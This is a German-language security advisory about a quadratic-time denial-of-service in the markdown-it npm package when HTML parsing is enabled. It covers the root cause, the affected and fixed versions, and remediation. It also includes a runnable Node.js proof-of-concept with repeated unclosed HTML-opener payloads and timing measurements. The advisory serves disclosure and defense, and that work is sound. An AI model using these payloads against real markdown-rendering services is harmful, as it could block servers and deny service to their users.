markdown-it: Denial-of-Service mit quadratischer Laufzeit beim Parsen von Inline-HTML mit aktiviertem HTML
Zusammenfassung
Bei aktiviertem html: true benötigt markdown-it quadratische Zeit beim Parsen wiederholter, nicht abgeschlossener HTML-Konstrukte innerhalb eines Absatzes. Dies betrifft HTML-Kommentare (<!--), Verarbeitungsanweisungen (Processing Instructions, <?), Deklarationen (<!A) sowie CDATA-Abschnitte (<![CDATA[).
Eine von Angreifern kontrollierte Eingabe von wenigen hundert Kilobyte kann die Node.js-Ereignisschleife für Sekunden oder mehrere zehn Sekunden blockieren. In der Standardkonfiguration ist HTML deaktiviert, die Voreinstellung commonmark aktiviert es jedoch.
Das Problem wurde für das veröffentlichte Paket markdown-it@15.0.2 unter Node.js 20 gemeldet und im aktuellen Quellcode mit Node.js 24.16.0 reproduziert.
Details
src/rules_inline/text.ts behandelt < als Trennzeichen, was dazu führt, dass der Inline-Parser die HTML-Regel an aufeinanderfolgenden HTML-Öffnungssequenzen testet.
Bei aktiviertem HTML wendet src/rules_inline/html_inline.ts einen verankerten regulären Ausdruck auf die verbleibende Eingabe an:
const match = state.src.slice(pos).match(HTML_TAG_RE)
Die Alternativen für Kommentare, Verarbeitungsanweisungen, Deklarationen und CDATA in src/common/html_re.ts durchsuchen die verbleibende Eingabe nach ihren jeweiligen Abschlusszeichen: -->, ?>, > und ]]>.
Fehlt das Abschlusszeichen, schlägt der Abgleich fehl. Der Parser erreicht schließlich den nächsten Öffner und scannt das überlappende Suffix erneut. Die Wiederholung über den gesamten Absatz hinweg führt zu einem quadratischen Gesamtaufwand. Bei diesen Payloads liegt das Problem im wiederholten Scannen über separate Trefferversuche hinweg.
Die Nutzlast muss das Inline-Parsing erreichen. Ein vorangestelltes x hält sie innerhalb eines Absatzes. Beginnt eine Zeile direkt mit einem dieser Konstrukte, wird stattdessen das HTML-Block-Parsing ausgelöst, das bei diesen Nutzlasten nicht dieselben wiederholten Inline-Scans aufweist.
Der bestehende Test unclosed <!-- in test/markdown-it/pathological.test.mjs enthält bereits einen Reproduzierer:
'</' + '<!--'.repeat(100000)
Dieser läuft jedoch mit Standardoptionen, bei denen HTML deaktiviert ist.
Ein Fix sollte wiederholte Suchen nach fehlenden Abschlusszeichen über alle vier betroffenen Alternativen hinweg vermeiden, beispielsweise durch Zwischenspeichern (Caching) fehlgeschlagener Suchen im Inline-Status. Eine Behebung ausschließlich der Kommentar-Alternative lässt die anderen drei Fälle ungeschützt. Regressionstests sollten alle vier Fälle mit html: true abdecken.
Der ursprüngliche Bericht wurde von @JarLob. eingereicht. Er würdigt den GitHub Security Lab Taskflow Agent im Rahmen des GitHub Secure Open Source Fund..
Machbarkeitsnachweis (PoC)
Installieren Sie das betroffene Paket in einem leeren Verzeichnis:
npm install markdown-it@15.0.2
Speichern Sie Folgendes als poc.mjs und führen Sie node poc.mjs aus:
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]
function measure(md, src) {
const start = performance.now()
md.render(src)
return (performance.now() - start).toFixed(1)
}
const variants = {
comment: '<!--',
processing: '<?x',
declaration: '<!A',
cdata: '<![CDATA['
}
for (const [name, opener] of Object.entries(variants)) {
console.log(`\n${name}`)
for (const n of sizes) {
const src = 'x ' + opener.repeat(n)
console.log({
n,
bytes: Buffer.byteLength(src),
ms: measure(mdHtml, src)
})
}
}
const n = sizes.at(-1)
const controls = {
'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
'HTML block': [mdHtml, '<!--'.repeat(n)],
'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}
for (const [name, [md, src]] of Object.entries(controls)) {
console.log({ control: name, ms: measure(md, src) })
}
const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
payload: 'Existing pathological test',
htmlFalseMs: measure(mdDefault, repoPayload),
htmlTrueMs: measure(mdHtml, repoPayload)
})
Messwerte aus dem Originalbericht auf markdown-it@15.0.2, Node.js 20:
| Konstrukt | 8,000 Wiederholungen | 64,000 Wiederholungen |
|---|---|---|
| Kommentar | 170 ms | 8,799 ms |
| Verarbeitungsanweisung | 26 ms | 1,566 ms |
| Deklaration | 93 ms | 5,628 ms |
| CDATA | 119 ms | 4,179 ms |
Eine achtfache Erhöhung der Wiederholungen führt zu etwa der 35- bis 60-fachen Ausführungszeit, was darauf hinweist, dass das quadratische Wachstum dominant wird.
Für die Kommentar-Nutzlast bei 64,000 Wiederholungen:
- HTML deaktiviert: 25 ms.
- Geschlossene Kommentare: 29 ms.
- Nutzlast am Beginn eines HTML-Blocks: 1 ms.
- Reiner Text: 1 ms.
Die bestehende Test-Nutzlast mit 100,000 Kommentar-Öffnern benötigte 33 ms mit deaktiviertem HTML und 21,030 ms mit aktiviertem HTML. Eine separate Kommentar-Nutzlast mit 128,000 Wiederholungen (ca. 500 KiB) benötigte 32,847 ms.
Die genauen Zeiten hängen von Laufzeitumgebung und Hardware ab.
Auswirkungen
Es handelt sich um ein Verfügbarkeitsproblem für Anwendungen, die von Angreifern kontrolliertes Markdown mit html: true rendern, einschließlich Anwendungen mit dem commonmark-Preset.
Unter Node.js kann ein synchroner Aufruf von render() einen CPU-Kern belegen und die Ereignisschleife für Sekunden oder mehrere zehn Sekunden blockieren, wodurch andere Anfragen desselben Prozesses verzögert werden. Wiederholte Anfragen können zu einem Denial of Service führen. Browser-Anwendungen können gleichermaßen einfrieren, wenn das Rendering im Haupt-Thread stattfindet.
Eine nachträgliche Bereinigung (Sanitization) des erzeugten HTML verhindert das Problem nicht, da die zeitaufwendige Verarbeitung bereits während des Markdown-Renderings erfolgt.
Die Standardkonfiguration mit deaktiviertem HTML ist von diesen Nutzlasten nicht betroffen. Das Deaktivieren von HTML oder das Begrenzen der Eingabegröße kann das Risiko verringern, während ein Fix vorbereitet wird.
Die als betroffen gemeldete Version ist 15.0.2; der vollständige betroffene Versionsbereich wurde noch nicht abschließend festgestellt.
Was zu tun ist
Aktualisieren Sie auf die behobenen Versionen 14.3.3 oder 15.0.3. Das Deaktivieren von HTML oder das Begrenzen der Eingabegröße kann das Risiko vorübergehend reduzieren.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | markdown-it | < 14.3.3, >= 15.0.0, < 15.0.3 | 14.3.3, 15.0.3 |
Verweise
- https://github.com/markdown-it/markdown-it/security/advisories/GHSA-vfgh-jcmw-g37q
- https://nvd.nist.gov/vuln/detail/CVE-2026-111766
- https://github.com/markdown-it/markdown-it/commit/928bc8c11ded60181c0e7fc5aa954eec582e8e79
- https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503
- https://github.com/markdown-it/markdown-it
- https://github.com/markdown-it/markdown-it/releases/tag/14.3.3
- https://github.com/markdown-it/markdown-it/releases/tag/15.0.3
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L- Schwäche (CWE)
CWE-400, CWE-407- Plattform
- npm
- Paket
markdown-it- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 20.10.2026 23:20
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-vfgh-jcmw-g37q - CC BY 4.0
Schwachstellenhistorie: markdown-it
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 8
- Erste → letzte
- 01.2022 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 3
- Mittel 4
- Niedrig 1
Veröffentlichungen pro Jahr
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 6
-
markdown-it: Denial-of-Service mit quadratischer Laufzeit beim Parsen von Inline-HTML mit aktiviertem HTML dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.